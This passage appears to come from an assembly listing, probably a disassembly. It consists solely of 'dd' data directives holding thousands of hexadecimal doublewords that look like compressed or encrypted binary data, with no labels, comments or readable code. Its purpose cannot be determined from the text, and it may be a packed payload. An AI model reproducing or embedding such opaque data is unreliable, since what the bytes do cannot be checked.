0BE93A30h dd 1D8967CEh, 19E7C608h, 0CFFCEAFCh, 9E4056DBh, 5853B75Ah dd 36BA93A8h, 5AB0334Fh, 0B5029756h, 8903404Eh, 4539113h dd 76080682h, 20FF5751h, 7D8DF3D5h, 0FFA571F0h, 4870E8CCh dd 6A8D66FFh, 5EEA3B0Dh, 100295B2h, 429A5A22h, 0C3047697h dd 8068BE0Fh, 0E144213Ch, 1C8E00ACh, 3D73CBAh, 1BB675FCh dd 0AC395FC8h, 0C9D728C2h, 4C60C123h, 43892810h, 0F69EB8A8h dd 0E1F9F5EEh, 5AD289F6h, 0FA818385h, 0FE7326FFh, 0D3EB030Bh dd 3EBA51BEh, 96106466h, 3DBAF445h, 16F947C5h, 5EF6E266h dd 0A8092EBh, 5C2DF5E7h, 10192671h, 123AA4EEh, 0C0BFB032h dd 1CB25A5Eh, 0E85AE827h, 6208B83h, 0D4E040DCh, 0E402D081h dd 0EC0FF804h, 23F75EFAh, 3A742097h, 0AA0090Bh, 205E9E7h dd 4729E00Dh, 6AE702EBh, 1F8A5E04h, 0BF86BC0h, 77870F16h dd 8524AE90h, 0A041F8A8h, 3031FB8Eh, 390A0C7Ch, 0B1B0077Fh dd 311DE932h, 891BFF3Ah, 0A2051E3Fh, 9551BF46h, 1E742B03h dd 0AFC58D48h, 0D4F988EEh, 0A0F6024Ah, 5B50374Ch, 12CEA4D8h dd 0AAA7EB58h, 3421771Bh, 39F9E12h, 57CF0A2h, 0AE7EA514h dd 89BE934Bh, 8A22B3B0h, 2D0A3A31h, 307A2CA0h, 0A435240h dd 2898E0Fh, 7E450418h, 1C630C12h, 6579867Bh, 13728F30h dd 59E9066Ah, 4F3CCFC8h, 0C0340B3Ch, 9A63210h, 92564C2Ch dd 6D588C9Ah, 39D1959h, 4714B594h, 6CBFC28Bh, 5F39FD21h dd 7E134915h, 0C316C67Eh, 9020B145h, 0FB6811F5h, 0AB0EEB12h dd 4A23743Ch, 3F77E5C6h, 73191380h, 21FF8210h, 30EB80EEh dd 0ECDE0CBCh, 2FE55A3Ah, 0B7F42A57h, 0B5670B9Ch, 22C23F41h dd 1B5A6EF6h, 0DC060DBFh, 6FEF0D75h, 284ACFD4h, 0AFD071F3h dd 1CC48D8Fh, 0DA341132h, 4704E88Bh, 82394B9h, 2D660AD4h dd 0E9014412h, 5EEFD568h, 6118ED4Dh, 6ECD8D4Eh, 7A94E26Ah dd 8D57EB04h, 8C89FE4Fh, 8C58A321h, 0B8C89344h, 0BD8664C4h dd 86A17E8h, 0B265EB32h, 5CD91E0h, 0C2F68348h, 0F28C0F67h dd 6CA0AF46h, 13C6E98Fh, 30290AEBh, 7F210E7Ch, 58E46A09h dd 0B8E94F09h, 757518FDh, 0C1EB2544h, 748DD1D6h, 0DA9BB52Ah dd 0DB7EBBFFh, 0B6C0146Ch, 8371CBB4h, 78358FCh, 4489E958h dd 8481085Eh, 0CC4F0A3Ch, 0D5977580h, 6FE93B10h, 0DF5E25D2h dd 0FF1B881Ah, 0F633AC30h, 0E22F7B95h, 17358E62h, 0B823EF1Ch dd 3989FB6h, 1450FE81h, 0C37F7A29h, 515ABE9Ch, 9B625D19h dd 18464A3Ch, 0D03847B4h, 2B423B4Fh, 19AC677Ch, 84387E32h dd 6A41D9A4h, 20395818h, 150076A8h, 5BB7D80h, 0F7FE037Ch dd 0B1C457DAh, 2148F426h, 13F4EB9Fh, 340F1288h, 0BC55A586h dd 0C6BD706Bh, 0F237CBE0h, 50C0B302h, 12D6B7CAh, 0DF6AF032h dd 0E4160D52h, 0DCE9C933h, 0D7D1550h, 3D8F702h, 0E0149648h dd 18109519h, 2B07DC02h, 903D1C82h, 9D307EC2h, 0CBDB1AFDh dd 8AB99CBCh, 9C550667h, 6590D4C8h, 0DB336009h, 97F47AB8h dd 73C31692h, 2EC4E11h, 3D5EEB0Bh, 0F7BE62F5h, 0DD053E9h dd 0A087FEE2h, 0A4E8277Dh, 0E7555A49h, 40C29220h, 0FBC6CAC6h dd 9572B5EBh, 96F6E506h, 0AACABF4h, 450493C8h, 3222FA15h dd 8617960Fh, 84D1687h, 5FE3010Bh, 0CC067189h, 9AB80259h dd 920A4132h, 11A2E9ECh, 7E71A174h, 0C4C0E0F4h, 1EF51709h dd 139C44A2h, 8949F640h, 24721293h, 91E148F7h, 0E2985EADh dd 0D7AE9D45h, 0BEC813F0h, 894FABF2h, 66B820C9h, 57C9851Dh dd 0CC192364h, 0E612E508h, 0E848E724h, 0EA22E991h, 89ECEB44h dd 0FBEE11EDh, 3F3FEF01h, 0D02FAFB7h, 4306FEF0h, 4EB2D02h dd 0AB869F0Dh, 0D213980Ch, 0B3C21E75h, 7F0F7F1Ah, 83C7152Fh dd 31190A23h, 10308h, 65E93004h, 0BC666BFEh, 0B87A1908h dd 0C7E9807Bh, 0B88F2EA5h, 0C7F9ACD2h, 2BFCF70Fh, 0B2769F40h dd 15421C08h, 74099746h, 0AB728115h, 0E9EE295h, 682EC222h dd 0F1A8640h, 76234267h, 38681D18h, 99438D23h, 656011AAh dd 0FCAC05D1h, 0D36EE986h, 1D30682Bh, 6C94511h, 0FE18181h dd 0CF9420B7h, 0E9002296h, 10C06918h, 4A4CDE4Dh, 9A708EEh dd 9FE0F065h, 4E480C8Dh, 0FA55035Eh, 0B14DC96Bh, 0B4F4F67Dh dd 4AEDFE01h, 0C1E3E4BCh, 4FE0FE4Bh, 0BF0F13F2h, 503A09C6h dd 0C7E88468h, 80E2D9BFh, 0FA7D8166h, 724B3FFFh, 46E42105h dd 558E1922h, 0F64C6A44h, 90013157h, 67707433h, 6D14647Dh dd 7F7CF003h, 0F1E90817h, 7C2286D6h, 0BC155B83h, 5F5074B6h dd 0FA4E7586h, 3F20EAF8h, 81ACFBDEh, 0FD081C89h, 5D2E75CCh dd 4D817BF8h, 0F175591Ch, 17DF006Eh, 0E681DEF7h, 7E0A0491h dd 6E911D0Dh, 0F3364E32h, 0DAF208F7h, 9A8022A8h, 50587E1Ch dd 9C143EFAh, 12E4F075h, 2568A51Ch, 1A27E8ECh, 0CA501BF8h dd 809A511h, 0F7A69F61h, 0CFFB164Ch, 9A3D8A13h, 0C257CA8Bh dd 4A447A38h, 200A1F04h, 11488F0h, 7AF2B675h, 72628A58h dd 0F90080E6h, 44B8D35h, 133B307Ch, 0F40F72C1h, 488806C9h dd 0B4F14FEBh, 662C40CEh, 0E388EFFh, 0C92CC32Ah, 540B88h dd 6480C008h, 0FC044F18h, 4061A6BAh, 0E99D300Ch, 5B93F498h dd 0C8046DD9h, 63258030h, 3AA4FD05h, 97EDFAD3h, 0D8C7D89Dh dd 9CB5974h, 90327446h, 28033F41h, 2A400A3Ch, 0D618FE06h dd 6E22EB2Eh, 358B21F8h, 28956C14h, 0EB3205B8h, 13101A34h dd 42722ACh, 40582718h, 0CFE8571Ah, 9C702DA1h, 0EFE4C070h dd 0C380B19h, 83050209h, 75567E62h, 0B641AB46h, 728225BEh dd 0D8DF64E8h, 5089F1ECh, 0C175F93Bh, 6F090B09h, 9F1DDAF4h dd 255101E4h, 365FC306h, 9F154AE0h, 197F26EAh, 82148C41h dd 0E4D50826h, 2839C3BFh, 2B5890A1h, 0D9435D6h, 7D6840EAh dd 40148D1Eh, 0A6150EBDh, 30252095h, 0C2062283h, 752F490Ch dd 1411D4F7h, 0E274B20h, 0D6447CF9h, 1D6F0EA1h, 0AAEFF766h dd 0A134678h, 7B89082Ah, 0DA106BBDh, 0AF2988A3h, 56135B12h dd 1CB27CF9h, 0A016421Ch, 0C9503905h, 7DFEF490h, 0FC1409DAh dd 24B0C47Eh, 0B24F78F8h, 745709EBh, 1B062365h, 5064EB39h dd 27E8821Bh, 95103ABh dd 9A1E5014h, 0DC918936h, 2885AF88h, 5D2BA03Eh, 0F8FD5981h dd 2612FD2Ah, 0E518412Fh, 18C73B1Fh, 22177659h, 38033C80h dd 570F753Dh, 2C2A2D53h, 0CEE84F56h, 0C04C689h, 168D38E1h dd 0AE013844h, 3CAE7B64h, 5A4A73E9h, 509DF9E7h, 4C8A1A54h dd 9BA77508h, 88969F3Eh, 9D025A4h, 24075BEDh, 0E1E00575h dd 350DEB7Fh, 0AF167C81h, 11F71797h, 7629C9F7h, 0A88835Bh dd 65872566h, 4A63A803h, 0EBC563B2h, 0D76CE60Ah, 0ACB51AFCh dd 0C5668FCCh, 8E160A4Bh, 0D3EC8182h, 26E498BEh, 0F9E60A46h dd 0F41BA4Ah, 0C223F833h, 5081CAC8h, 6A667EE7h, 12C3243Dh dd 0FE84201h, 0B4E4B883h, 22F98136h, 0FAD4316h, 64BFFDFAh dd 0A167A287h, 8B04773Fh, 8E3AEBA6h, 258ABBADh, 95D87F02h dd 5615C197h, 2C62606Ch, 8C414639h, 0C0D5D60Bh, 0DA6FE9F6h dd 0C97D205Bh, 1F421EB1h, 39160153h, 113A9D43h, 0DA170357h dd 62B237EBh, 0E25FE906h, 0A2E7D1B8h, 0D4F89798h, 62050C22h dd 0C003208Bh, 28B6585Dh, 98EA497Eh, 0E2084E8Fh, 89BD7EDEh dd 5113FD76h, 0D012186Bh, 906CE7Ch, 18C1AFC6h, 0F383FC3Ah dd 0FF505101h, 0F39CE831h, 6CB037Dh, 18FC9629h, 0A10256B3h dd 0C0D2F46Dh, 6675E8E3h, 12FC1AC8h, 0C18B0D9h, 9C7F5940h dd 292A081h, 2E88B9C0h, 257E0B52h, 80E7BE82h, 0B1FEC58Bh dd 0D68FD446h, 1120C93Bh, 48E27F1Eh, 16A63907h, 2B9A0E8Bh dd 1E50E5E3h, 0ACE0192h, 0DC7CB98Bh, 2325FDE2h, 0C14148ECh dd 0AD0C4B97h, 97EC4EEAh, 38D71F44h, 7978341Dh, 970F7728h dd 5D106FF9h, 1A3D36F1h, 3575330Ah, 67F7DE42h, 6A65672Ch dd 0E2323DAAh, 0DC0E1D14h, 51E65733h, 31574146h, 7A0E0FB9h dd 0D2E6252h, 7DDB10CAh, 46E25BF4h, 338BDE24h, 1B73A7A8h dd 0D3FB47EDh, 89E1C70Bh, 3B10A80Eh, 0C024E32h, 1E0606E4h dd 8EEBD9A1h, 89DFF736h, 8D2A55FFh, 712E25D7h, 8908C7CDh dd 2268364h, 0DF087E68h, 53022AC7h, 0CBAA10BBh, 0EBB1FF6Bh dd 16203960h, 7D632F74h, 70BBC2A1h, 0F72886ABh, 881489D8h dd 51751017h, 9DFF7106h, 56412202h, 0C3832257h, 4284B862h dd 7CBC203h, 277466C0h, 170B8D4Ah, 0C2BA8D81h, 72D59131h dd 357DD830h, 0B02A5F4h, 0C1D0F664h, 9199F6B5h, 22C35E72h dd 577F7EC9h, 0D44B7CC3h, 5D4093E5h, 0CF64EAEDh, 0D6966BFh dd 7E758BB5h, 0B81C711h, 7BFB9FDh, 6FE5B92Fh, 0FEDDDE5Ah dd 58A9646Dh, 0E1D3BC8Bh, 0E026B53h, 0E24E74C7h, 0BF11D4B8h dd 0EB6A03E4h, 98837486h, 3BE81684h, 55530EEFh, 8D5B0DC5h dd 7E883FB1h, 553EC62Fh, 36E24250h, 87DA22AAh, 0A8B97697h dd 0D5D295AEh, 6BB58A90h, 755713C0h, 9A26FDB8h, 130FDCDCh dd 8F62AEF5h, 30911F1Ch, 0FD2FB93h, 81EAD6B9h, 5740755Fh dd 81D43AB8h, 0E0B08813h, 81517FFh, 82DCED10h, 26B9203Dh dd 98103A23h, 0CA243B1h, 3CE25D1Ah, 0C1888229h, 0EA133421h dd 0F33B65D0h, 0A4104E7Eh, 0FA27E8F1h, 0F45A2B01h, 39148312h dd 2A5E1C5Dh, 0E81572F3h, 0A4B17E3h, 2535A104h, 481B5AE9h dd 67BF561Ah, 897A3BF2h, 0F255ADA7h, 899D781Ah, 0F1CE7E5Dh dd 974C663h, 9834A765h, 575B35FBh, 788DF079h, 927D27A1h dd 44EC07D2h, 133B6C28h, 0B417FF7h, 0BFCC4D3h, 0B1119862h dd 194451AFh, 0B800A212h, 7202C47Dh, 0CA3EC322h, 74995D38h dd 0BC16B1Ah, 842FD33Ah, 0A732871Ah, 72089109h, 76CAF404h dd 5240AD2Dh, 0FCE64FA3h, 0BEA529ACh, 7B313115h, 209D468Eh dd 72184396h, 0BF860F80h, 35888D72h, 7A67E9E2h, 0D11A5317h dd 0FF096A42h, 0BAB23214h, 4A6B29B7h, 2C68F6EAh, 4B592723h dd 0FC58CE8Bh, 0A16F187h, 554CDB34h, 9C555412h, 78DC8507h dd 1AFD8A93h, 575C06DAh, 358B21B7h, 6A34C42Dh, 0C849E479h dd 88D64474h, 2B92E07Ah, 0F6E1615Fh, 2942CA7Eh, 65BD6F5Fh dd 6CFED82Ah, 0F6E5DB42h, 0FB680933h, 1B882D74h, 0F2F66B4Ch dd 2EAF16D1h, 736E59DBh, 0B4A2BAB8h, 12FE943Eh, 8540D008h dd 8D2656D2h, 0D17AC4Ah, 4A80ED84h, 4BF18B40h, 0F3C00C49h dd 5EC5E1Bh, 503F2B6Ch, 0DD3B7C2h, 0F5666AADh, 6AC6000Fh dd 0E817B73Dh, 0B0A3022Dh, 3F2BF726h, 4AF8F82Fh, 257E26DDh dd 0A9E5A8A1h, 0FFB402Fh, 1AC34B94h, 697D1D98h, 52329B96h dd 901CA328h, 5475342Eh, 19ECC388h, 21713DAAh, 8AE81102h dd 99C4DDFCh, 0B9A73E5Eh, 16DF3B13h, 6AE7E536h, 58ADD9F0h dd 39D16057h, 89DF7405h, 75342138h, 92379113h, 0C43345D1h dd 0FC142B36h, 55283D8Bh, 381A634Bh, 419E53D0h, 437CCCCCh dd 483F8332h, 373703Eh, 0B734FF32h, 0E8993C8Dh, 59632407h dd 2B0B15A1h, 5F46FA82h, 0EB3DD572h, 74C6AFF0h, 0F0764976h dd 0D16ECC0Bh, 3C74826Fh, 235535EBh, 0C3B70484h, 757C1A32h dd 0E8F0987Ah, 2DA9DE48h, 8255A9B5h, 9AA4E865h, 40F68428h dd 834CF5BFh, 83B00C54h, 85049B64h, 7A4B134h, 8B48EF74h dd 77564C0Dh, 0DE3C0694h, 660BF65Ah, 0FC312EB4h, 550433E8h dd 2BF3C623h, 0B95C874h, 0ECF703Eh, 1BDBF740h, 23D3045Dh dd 159AD1D8h, 6E916E04h, 0E9525BE8h, 0B55FD059h, 639CD852h dd 4E31C4E9h, 0B5C9D72Dh, 765CC50h, 0FA7FB4Eh, 8A380D30h dd 3C2E3804h, 84197F3Dh, 79761A46h, 0CED72F66h, 3C052B28h dd 0D5F8C127h, 2DC31625h, 0BAFB0410h, 85C94230h, 893694FFh dd 1A24C35Fh, 7418808Dh, 104B8B0Ah, 7B7844B5h, 5553F60Ah dd 0E80435F6h, 0C618CA54h, 0DFEEAA53h, 762DA890h, 27055D8Ah dd 139441DFh, 20C38350h, 53C0879Ch, 38B0689h, 0EBF9C459h dd 3F18B1E9h, 5F2F83B2h, 75C2CAD1h, 1A9F6C0Fh, 7B6902E8h dd 0AB4662DDh, 7484F83Dh, 3A89CC01h, 6EB7D010h, 0B0F798A8h dd 97D2970Eh, 0C07B86B7h, 0F43AF12Eh, 3926C24Bh, 110F3E45h dd 0D02439EBh, 14BE55E9h, 0C6A5413Dh, 868DEA27h, 29D20AFFh dd 0C22B4181h, 0F04BC93Dh, 5D4AC1ACh, 14B165AEh, 8717490Eh dd 122AE254h, 0DD725559h, 83CCA20Bh, 7C7F8953h, 28CC6544h dd 0A024B801h, 0E8047B0Bh, 55905C36h, 258A30ECh, 23F5F345h dd 0CF88E0FFh, 4616E831h, 24BE8720h, 42991C78h, 50275437h dd 38ED338Dh, 93DF2DADh, 4D06E418h, 75BC4CC4h, 0A868034Fh dd 5052191Fh, 936C12C7h, 0B6A9E863h, 0B4B85E0Ah, 5BDC085Ah dd 484D5026h, 50F17B51h, 0DEEC3F60h, 0B188844Ah, 2D034843h dd 8C4D0288h, 8AEE0C7Eh, 0CF02037Eh, 9FE80788h, 35260E45h dd 1ED38F98h, 3C1AD8A9h, 0A6702044h, 8C06C714h, 38C62C13h dd 57EBD9A6h, 42F7BF62h, 5F2A08Eh, 9D1258B8h, 1CA73075h dd 0E496A051h, 786743E8h, 20186811h, 0D571627Eh, 8E91C8B8h dd 0C46A094Eh, 0F0870ACCh, 2F7E4851h, 0C4EB880h, 0F0D627E8h dd 57CE7362h, 0E7CA5D52h, 0C3C6695Eh, 0BBE82665h, 2D7A5F8h dd 55740190h, 5B254182h, 0D12BC611h, 41DCB80Dh, 145AF559h dd 6F0CA2BEh, 0E8BF1858h, 8A8BC25Eh, 61890C43h, 0E2F4290Eh dd 0BFC4E0D0h, 465C7844h, 0F0B8F143h, 12985D42h, 7108B61Fh dd 0A375944h, 2AF21094h, 0F3A69B3Ah, 0D3554261h, 52429E23h dd 39D2165Ah, 218D8BACh, 0D2E2A941h, 0A2B9EB23h, 220A450Ch dd 43EAA12Ch, 0B18AC12h, 0C888552h, 0FDEAF044h, 0D010C6FFh dd 0A0428C20h, 8A01D410h, 0B00A5A18h, 21D6E859h, 4F624389h dd 62C81501h, 17914BFh dd 426ABCE8h, 0FE39B159h, 8485A008h, 0F12405F6h, 15EB7C0Dh dd 4B090D80h, 2A8558AFh, 888ECCC0h, 0C50CE909h, 0ACC6682Bh dd 0D8E80C9Bh, 0A4C3A75Ch, 7FCC430Ch, 0CD82527h, 8A540CE3h dd 505F8212h, 0BF82853Fh, 0FDC95821h, 91F16699h, 0B04EC8FCh dd 5058CD9Bh, 460BCABAh, 4983DC25h, 2E0ABD86h, 4FC522C4h dd 46C70B5Fh, 284968DCh, 95543D26h, 5CDBA9F0h, 2574A966h dd 0E8C60F6Eh, 0C3844874h, 0D913385Bh, 557C2431h, 5810F849h dd 4A3168F6h, 0C1FF8364h, 4001C725h, 0FF097446h, 467C7165h dd 0A983A225h, 5D8CD541h, 911C45D0h, 0AC4FE83Eh, 5107C461h dd 7C39AB87h, 12DB684Fh, 0D5D68E3h, 0F525DBA7h, 574BDA94h dd 0F0BE1F81h, 85557DA7h, 81F6A5CCh, 0F45FE45Bh, 4095C69Fh dd 0D1B7E0E4h, 908DA0AEh, 0CC8A81F5h, 16C8CA20h, 523F8BE9h dd 83380E17h, 2949014Bh, 0CD313B08h, 2D9775E9h, 1EB308C3h dd 543E903Dh, 5867C059h, 555FB414h, 576278FEh, 84CCB811h dd 0C337211Dh, 19211F1Ch, 0BD90A415h, 0E3203728h, 1B011442h dd 5AECA43Dh, 0E0B8A691h, 53ED1441h, 14CCF018h, 442829FEh dd 0BD85D920h, 10502142h, 44A8B7C5h, 1AB12278h, 3ED36402h dd 2B14F42Eh, 42BD289Dh, 22210811h, 15FE189h, 26D8F0BEh dd 64F4E002h, 48E2082Ah, 22C091D0h, 82A044B0h, 5E126E89h dd 3A484C24h, 1C222C91h, 40F00A44h, 0BE89D829h, 0B2237411h dd 24920961h, 91C848ACh, 44EE22DEh, 24400CF6h, 12268918h dd 48462432h, 226A9154h, 9E8E447Ch, 0BC12AE89h, 0DE48D224h dd 1010F691h, 44202225h, 5C894432h, 9C247412h, 0C491B448h dd 0EA44D622h, 530C89FCh, 9221AD4h, 523C442Ch, 6E126089h dd 9C488024h, 0C222B291h, 88FAE844h, 1C81270Eh, 42242C12h dd 5E915048h, 82446C22h, 12A4898Eh, 48C624B4h, 22E891D2h dd 281020FCh, 89362244h, 244E1242h, 9174485Ah, 44922284h dd 0C489B6A4h, 0EC24DE12h, 888FA48h, 7F181129h, 46123A89h dd 66485624h, 7C227291h, 8AA48844h, 6740106h, 9738032h dd 480A2415h, 220D9102h, 16344401h, 97121289h, 9480B24h dd 4221791h, 89131044h, 8A1403h, 54454703h, 48932F20h dd 605067AFh, 0D302E31h, 6F090A7Ah, 0E3A7473h, 4114B86Dh dd 0FA68F275h, 7A691D72h, 6177FA61h, 654E266Eh, 146EFB67h dd 681DF51Ah, 1C614004h, 78571C7h, 4A553F8Ch, 6708C501h dd 64B489F5h, 7309600h, 0E612C77h, 51BA01EEh, 0C4199909h dd 0F48FF46Dh, 35706A00h, 0A3E963A5h, 9E640095h, 0EDB8832h dd 0DC1FB8A4h, 0D58F1E79h, 0D2D960E0h, 4C2B97h, 7CBD09B6h dd 2D077EB1h, 91E7B800h, 6490BF1Dh, 0B77610h, 6AB020F2h dd 0F3B97148h, 0BE41DE00h, 0DAD47D84h, 0E4EB031Ah, 0B5516DDDh dd 85C7F4C8h, 5683D300h, 0C0136C98h, 646B00A8h, 0FD62F97Ah dd 6500C9ECh, 15C4F8Ah, 386CD914h, 3D806306h, 0DF5FA0Fh dd 0C8008D08h, 5E3B6E20h, 4C6910h, 0D56041E4h, 0A2677172h dd 300D179h, 4D4473Ch, 85FD4Bh, 0B56BD20Dh, 0A8FAA50Ah dd 6C0035EAh, 0D642B298h, 7DBBBC9h, 0ACBCF940h, 32D8D0E3h dd 0DF005C75h, 0D60DCF45h, 13D59DCh, 30ACABD1h, 203A26D9h dd 807251B2h, 16C8D700h, 0B5BFD061h, 21B400F4h, 56B3C423h dd 0BA019599h, 0BDA50FCFh, 2C89EB8h, 88080028h, 0D9B25F05h dd 2400C60Ch, 87B10BE9h, 2F6F7Ch, 58684C11h, 0C1611DABh dd 662D3D00h, 0DC4190B6h, 71060076h, 20BC01DBh, 2A0198D2h dd 89EFD510h, 1FF8B185h, 6B600B5h, 9FBFE4A5h, 0B800D433h dd 7C9A2E8h, 9FF93478h, 0A80067F0h, 98189609h, 0BBE10Eh dd 2D7F6A0Dh, 97086D3Dh, 91646C00h, 0E6635C01h, 6B5138F4h dd 4061629Fh, 6530D81Ch, 0E8E14E85h, 953EEDF2h, 0A57B8006h dd 0F4C11B01h, 57820008h, 0C6F50FC4h, 6500B0D9h, 12B7E950h dd 0BEB8EAh, 0B9887C8Bh, 0DD1DDFFCh, 2D496203h, 0E8F315DAh dd 658CD3h, 58FBD44Ch, 0CE4DB261h, 3A4C2D90h, 0A3BC0038h dd 0D4BB30E2h, 0DFA50341h, 0D895D74Ah, 0D1C4C400h, 0D6F4FBA4h dd 0E96A00D3h, 0D9FC4369h, 4600346Eh, 0D0AD6788h, 0DA60B8h dd 44042D73h, 33031DE5h, 0A4C5F00h, 0D7CC9AAh, 713C0FDDh dd 41215005h, 0C4102702h, 8600BE0Bh, 25C90C20h, 1E5768B5h dd 806F85B3h, 0B966D409h, 6100E49Fh, 0DEF90ECEh, 1DC9985Eh dd 402229D9h, 0A8B4B0D0h, 1703C7D7h, 8159B33Dh, 3B2ED00Dh dd 0B7BD055Ch, 0FBBA6CADh, 0EDB88900h, 1DBFB3B6h, 9DE20C9Ah dd 0B1D24003h, 0D5473974h, 77AFEA1Eh, 26159D40h, 8304DBh dd 1273DC16h, 84E3630Bh, 94643B00h, 0D6D6A3Eh, 7F5A75A8h dd 0ECF007Ah, 9FF9DE4h, 0AE5C2793h, 9EB10363h, 0D0447D07h dd 0D2F00Fh, 688708A3h, 0FE1E01F2h, 6906C200h, 0F762575Dh dd 656700CBh, 6C367180h, 6BFEE719h, 1B766E02h, 0FDE0FED4h dd 7A5A23E0h, 0CC10DA04h, 0A4C0DD4Ah, 0E2F9B9DFh, 8EBE1CEFh dd 17B7C743h, 60B060D5h, 0D671A3E8h, 0D1937E00h, 0D8C2C4A1h dd 0F2520138h, 67F14FDFh, 5798F7BBh, 0DD00A6BCh, 4B3FB506h dd 48B236h, 0D80D2BDAh, 0AF0A1B4Ch, 34AF61Fh, 47A6080h dd 0ECEFC341h, 3B5572DFh, 8E80A867h, 0BE79316Eh, 8C004669h dd 1ACB61B3h, 0BC6683h, 256FD2A0h, 5268E236h, 0C779500h dd 0B4703CCh, 16B900BBh, 262F2202h, 0BE075505h, 28C5BA3Bh dd 92B2BDF0h, 2BB4005Ah, 5CB36A04h, 0D700FFA7h, 0D0CF31C2h dd 19E8BB5h, 0AE1D2CD9h, 0F8B05BDEh, 26009B64h, 9CEC63F2h dd 1756AA3h, 26D930Ah, 0EC0906A9h, 0E00363Fh, 76785EBh dd 0E0571372h, 4A820005h, 7A1495BFh, 0AE00E2B8h, 387BB12Bh dd 0CB61Bh, 92D28E9Bh, 0E5D5BE0Dh, 0DCEFB700h, 0DBDF217Ch dd 0ED47F0Bh, 0E24286D3h, 0B3F8F1C0h, 6E0068DDh, 0CD1FDA83h dd 81BE16h, 0F6B9265Bh, 6FB077E1h, 0B70947E6h, 805AE618h dd 0F6A707Eh, 3BCA00FFh, 0B5C6606h, 9EF21101h, 698F6501h dd 0D3F862AEh, 98616BE4h, 166C00C5h, 0A00AE278h, 0D00D2EEh dd 48354D7h, 0B3C24Eh, 26613903h, 16F7A767h, 4DD06000h dd 0DB496947h, 3E6E0077h, 0AED16A4Ah, 0D6005ADCh, 0DF0B66D9h dd 1F3BF040h, 805337D8h, 9EC5A9BCh, 7F00DEBBh, 0E947B2CFh dd 1C30B5FFh, 43BDF21Ch, 0CABAC28Ah, 53B393C8h, 0B4A3A601h dd 0D0360524h, 0D706D8F7h, 572900CDh, 67BF54DEh, 2E0023D9h dd 0B8B3667Ah, 0C4614Ah, 5D681B02h, 2A6F2B94h, 0BBE3700h dd 0C8EA1B4h, 2DFFEC3h, 0EF8D5A05h, 2EC2D02h, 0A210505Ch dd 0F00790BFh, 3FF613Fh, 0C0417BEFh, 8CE7C03h, 0C9071A06h dd 1CB710C1h, 7302D710h, 2214504h, 30350D05h, 202F0074h dd 58F03828h, 1C080738h, 575E3037h, 3F216E7Ch, 60EA1728h dd 3D96872h, 78C57012h, 45EE03BFh, 8DBF3C1Bh, 541F30Fh dd 0C128C10Fh, 0C175C16Eh, 2905956Ch, 0FE283F7Ah, 1738FBFBh dd 4C47835Fh, 0A741424Fh, 0AB454883h, 0AF53EB50h, 5443E7DEh dd 180F44A5h, 6F56AF4Dh, 1EA49152h, 6E79CC38h, 8A3109h dd 65726694h, 29706F78h, 646F6D02h, 79681CA3h, 1174A6FFh dd 6261630Dh, 0BB312173h, 3F912009h, 17506866h, 716C104Ch dd 6372446Fh, 7069653Dh, 0DF617488h, 366F1BA8h, 0D810FD97h dd 43FF7271h, 2B296114h, 10A20832h, 7E3C42D1h, 0CA344BD0h dd 2F340868h, 2C2F085Ah dd 2967B608h, 28083031h, 0E11A900Fh, 0EBB78254h, 17EC0C0h dd 11D34150h, 473C6BF8h, 0A73491Fh, 3B896F72h, 4692A177h dd 75DA28DBh, 1C20DBD3h, 85906ED2h, 5228454Bh, 3328F94Eh dd 651C3532h, 4579302Bh, 408CB048h, 9DC96AFh, 8A01029h dd 10B11229h, 10B0F00Ch, 1808D1FAh, 10B34219h, 2894D246h dd 0AD19A467h, 7DD0384Ah, 69668CB4h, 8E086D11h, 22D34718h dd 18C368BFh, 20035ABDh, 203AC749h, 312C524Dh, 0C80111FDh dd 7572088Ah, 6D6903B3h, 9A972065h, 0C9763ECFh, 0D6075450h dd 490E1A53h, 49FAA444h, 0F474E29h, 4F44026Eh, 4EFC854Dh dd 0C521228h, 38323036h, 206A2D12h, 6C19A690h, 0DB717490h dd 0A62D5247h, 7A76E7F7h, 0F068731Ch, 8138A470h, 6E083728h dd 7CD8EA90h, 7B67750Ah, 70732468h, 6648339Eh, 7776F150h dd 0D2396952h, 380A33C9h, 446F8D73h, 216F6474h, 5D701235h dd 6976499Bh, 441B1E8Fh, 63A66840h, 6DCF24A3h, 5243FB1Ah dd 60342928h, 56A45FF9h, 2FBA3309h, 407B241h, 71E324DDh dd 5E393160h, 707772F8h, 4364B3DAh, 0C3214813h, 2C94E86Fh dd 4B3238B2h, 821D9D57h, 1A356492h, 24025869h, 6D583E37h dd 0E5AD416Bh, 61C04368h, 63221850h, 95306B57h, 350DB918h dd 6806CBCAh, 31A3065Fh, 246D7244h, 82CF7001h, 6DBD3F67h dd 42FE9642h, 0E230BC37h, 0ED50A739h, 56425622h, 68E06D4Dh dd 38912C5Eh, 0F59FE3ADh, 73290975h, 61A26014h, 0BDAC2C09h dd 67516EDFh, 0C79E383h, 25513BABh, 80B1CA27h, 0A82E214Dh dd 66673AC2h, 0F2AE562Ch, 2B43AB21h, 6E52DAC7h, 514C759Dh dd 79C9B562h, 460A2843h, 4524175Dh, 2421460Fh, 19D55056h dd 2E41203Ah, 3C2902B8h, 36E148E6h, 6B6B5A4Dh, 9CAA89DAh dd 0DB8C2008h, 53099066h, 0D54D5036h, 5165EC54h, 68D98657h dd 167246F4h, 22615369h, 24E24AC0h, 4D62D460h, 9241E4CDh dd 0F6790C9Fh, 6C7C064Eh, 6553E6A0h, 994F7024h, 766F4E03h dd 4C7ACF44h, 85A540Ch, 5C74F647h, 4D745C4Ch, 762E5741h dd 1C032403h, 8414AA75h, 0EA575010h, 5D4CBA64h, 611F274Dh dd 0D8429E67h, 2331E878h, 724E513Bh, 4611A6E1h, 829461Ch dd 53CD4410h, 0D0A01831h, 34420238h, 0C4408D4h, 430C033Fh dd 1D407809h, 6E0840A8h, 0D98B0740h, 2272E611h, 7177484Dh dd 12DC4792h, 0D541B018h, 7B788C07h, 1EE03CA4h, 0A4099080h dd 11736C14h, 26B27662h, 3C861790h, 0D9CF89A3h, 30830193h dd 0A125110h, 5509CB32h, 0D7A12E4Ch, 70CF2078h, 27B1EABh dd 0AEED41C8h, 497E4B38h, 158E0112h, 0BF090335h, 82104E51h dd 0ED43ACD0h, 190CA374h, 0B0131E8h, 8AD08C4h, 40545E02h dd 9C828D0h, 7056B810h, 0DA1458CAh, 34684405h, 70342E14h dd 9064058Ah, 9408186Dh, 8738ACA0h, 6FC8E488h, 44E8E023h dd 0FC80F014h, 1E148801h, 29D0118Fh, 48891420h, 1A381FADh dd 483E6848h, 3CD06047h, 71286834h, 480B4C3Ch, 10D4440Ch dd 0CAFCD09Ch, 815C941Eh, 781C702Ch, 0FDBC9087h, 1919C0Ah dd 404DF782h, 